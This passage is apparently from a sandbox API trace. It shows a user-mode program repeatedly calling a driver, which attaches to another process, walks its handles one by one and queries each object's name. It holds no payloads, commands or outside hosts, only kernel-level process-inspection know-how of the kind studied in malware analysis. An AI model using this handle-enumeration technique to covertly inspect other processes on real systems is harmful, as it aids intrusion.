PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.990] PsAcquireProcessExitSynchronization () returned 0x0 [0120.990] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.990] ObReferenceObjectByHandle (in: Handle=0x31c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001cb9860, HandleInformation=0x0) returned 0x0 [0120.990] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.990] PsReleaseProcessExitSynchronization () returned 0x2 [0120.990] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.990] ObQueryNameString (in: Object=0xfffff8a001cb9860, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.990] ObfDereferenceObject (Object=0xfffff8a001cb9860) returned 0x1 [0120.990] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.990] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.990] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.990] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.990] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.990] PsAcquireProcessExitSynchronization () returned 0x0 [0120.990] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.990] ObReferenceObjectByHandle (in: Handle=0x334, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001f35850, HandleInformation=0x0) returned 0x0 [0120.990] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.990] PsReleaseProcessExitSynchronization () returned 0x2 [0120.990] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.990] ObQueryNameString (in: Object=0xfffff8a001f35850, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.990] ObfDereferenceObject (Object=0xfffff8a001f35850) returned 0x1 [0120.990] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.990] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.990] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.991] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.991] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.991] PsAcquireProcessExitSynchronization () returned 0x0 [0120.991] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.991] ObReferenceObjectByHandle (in: Handle=0x344, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001ef4af0, HandleInformation=0x0) returned 0x0 [0120.991] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.991] PsReleaseProcessExitSynchronization () returned 0x2 [0120.991] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.991] ObQueryNameString (in: Object=0xfffff8a001ef4af0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.991] ObfDereferenceObject (Object=0xfffff8a001ef4af0) returned 0x1 [0120.991] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.991] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.991] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.991] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.991] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.991] PsAcquireProcessExitSynchronization () returned 0x0 [0120.991] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.991] ObReferenceObjectByHandle (in: Handle=0x354, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001bd1f00, HandleInformation=0x0) returned 0x0 [0120.991] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.991] PsReleaseProcessExitSynchronization () returned 0x2 [0120.991] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.991] ObQueryNameString (in: Object=0xfffff8a001bd1f00, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.991] ObfDereferenceObject (Object=0xfffff8a001bd1f00) returned 0x1 [0120.991] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.991] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.991] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.991] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.991] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.991] PsAcquireProcessExitSynchronization () returned 0x0 [0120.991] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.991] ObReferenceObjectByHandle (in: Handle=0x364, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001f6c680, HandleInformation=0x0) returned 0x0 [0120.991] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.991] PsReleaseProcessExitSynchronization () returned 0x2 [0120.991] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.992] ObQueryNameString (in: Object=0xfffff8a001f6c680, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.992] ObfDereferenceObject (Object=0xfffff8a001f6c680) returned 0x1 [0120.992] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.992] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.992] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.992] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.992] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.992] PsAcquireProcessExitSynchronization () returned 0x0 [0120.992] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.992] ObReferenceObjectByHandle (in: Handle=0x368, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001f649f0, HandleInformation=0x0) returned 0x0 [0120.992] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.992] PsReleaseProcessExitSynchronization () returned 0x2 [0120.992] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.992] ObQueryNameString (in: Object=0xfffff8a001f649f0, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.992] ObfDereferenceObject (Object=0xfffff8a001f649f0) returned 0x1 [0120.992] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.992] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.992] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.992] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.992] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.992] PsAcquireProcessExitSynchronization () returned 0x0 [0120.992] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.992] ObReferenceObjectByHandle (in: Handle=0x378, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001bc9330, HandleInformation=0x0) returned 0x0 [0120.992] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.992] PsReleaseProcessExitSynchronization () returned 0x2 [0120.992] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.992] ObQueryNameString (in: Object=0xfffff8a001bc9330, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.992] ObfDereferenceObject (Object=0xfffff8a001bc9330) returned 0x1 [0120.992] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.992] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.992] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.992] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.992] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.992] PsAcquireProcessExitSynchronization () returned 0x0 [0120.993] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.993] ObReferenceObjectByHandle (in: Handle=0x37c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001efaef0, HandleInformation=0x0) returned 0x0 [0120.993] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.993] PsReleaseProcessExitSynchronization () returned 0x2 [0120.993] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.993] ObQueryNameString (in: Object=0xfffff8a001efaef0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.993] ObfDereferenceObject (Object=0xfffff8a001efaef0) returned 0x1 [0120.993] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.993] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.993] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.993] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.993] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.993] PsAcquireProcessExitSynchronization () returned 0x0 [0120.993] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.993] ObReferenceObjectByHandle (in: Handle=0x38c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001fa27a0, HandleInformation=0x0) returned 0x0 [0120.993] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.993] PsReleaseProcessExitSynchronization () returned 0x2 [0120.993] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.993] ObQueryNameString (in: Object=0xfffff8a001fa27a0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.993] ObfDereferenceObject (Object=0xfffff8a001fa27a0) returned 0x1 [0120.993] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.993] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.993] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.993] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.993] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.993] PsAcquireProcessExitSynchronization () returned 0x0 [0120.993] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.993] ObReferenceObjectByHandle (in: Handle=0x39c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001f4e6d0, HandleInformation=0x0) returned 0x0 [0120.993] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.993] PsReleaseProcessExitSynchronization () returned 0x2 [0120.993] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.993] ObQueryNameString (in: Object=0xfffff8a001f4e6d0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.993] ObfDereferenceObject (Object=0xfffff8a001f4e6d0) returned 0x1 [0120.993] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.994] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.994] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.994] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.994] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.994] PsAcquireProcessExitSynchronization () returned 0x0 [0120.994] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.994] ObReferenceObjectByHandle (in: Handle=0x3ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001f86670, HandleInformation=0x0) returned 0x0 [0120.994] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.994] PsReleaseProcessExitSynchronization () returned 0x2 [0120.994] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.234] ObQueryNameString (in: Object=0xfffff8a001f86670, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.234] ObfDereferenceObject (Object=0xfffff8a001f86670) returned 0x1 [0121.234] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.234] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.234] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.234] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.234] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.234] PsAcquireProcessExitSynchronization () returned 0x0 [0121.235] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.235] ObReferenceObjectByHandle (in: Handle=0x3bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001f1d110, HandleInformation=0x0) returned 0x0 [0121.235] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.235] PsReleaseProcessExitSynchronization () returned 0x2 [0121.235] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.235] ObQueryNameString (in: Object=0xfffff8a001f1d110, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0121.235] ObfDereferenceObject (Object=0xfffff8a001f1d110) returned 0x1 [0121.235] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.235] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.235] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.235] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.235] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.235] PsAcquireProcessExitSynchronization () returned 0x0 [0121.235] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.235] ObReferenceObjectByHandle (in: Handle=0x3cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001f6b4f0, HandleInformation=0x0) returned 0x0 [0121.235] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.235] PsReleaseProcessExitSynchronization () returned 0x2 [0121.235] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.235] ObQueryNameString (in: Object=0xfffff8a001f6b4f0, ObjectNameInfo=0xfffffa80019fa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fa044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.235] ObfDereferenceObject (Object=0xfffff8a001f6b4f0) returned 0x1 [0121.235] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.235] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.235] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.235] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.235] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.235] PsAcquireProcessExitSynchronization () returned 0x0 [0121.235] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.235] ObReferenceObjectByHandle (in: Handle=0x3dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001fc79f0, HandleInformation=0x0) returned 0x0 [0121.235] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.235] PsReleaseProcessExitSynchronization () returned 0x2 [0121.235] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.235] ObQueryNameString (in: Object=0xfffff8a001fc79f0, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.235] ObfDereferenceObject (Object=0xfffff8a001fc79f0) returned 0x1 [0121.236] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.236] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.236] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.236] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.236] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.236] PsAcquireProcessExitSynchronization () returned 0x0 [0121.236] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.236] ObReferenceObjectByHandle (in: Handle=0x3ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001fb78d0, HandleInformation=0x0) returned 0x0 [0121.236] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.236] PsReleaseProcessExitSynchronization () returned 0x2 [0121.236] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.236] ObQueryNameString (in: Object=0xfffff8a001fb78d0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.236] ObfDereferenceObject (Object=0xfffff8a001fb78d0) returned 0x1 [0121.236] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.236] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.236] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.236] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.236] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.236] PsAcquireProcessExitSynchronization () returned 0x0 [0121.236] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.236] ObReferenceObjectByHandle (in: Handle=0x3fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001faea00, HandleInformation=0x0) returned 0x0 [0121.236] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.236] 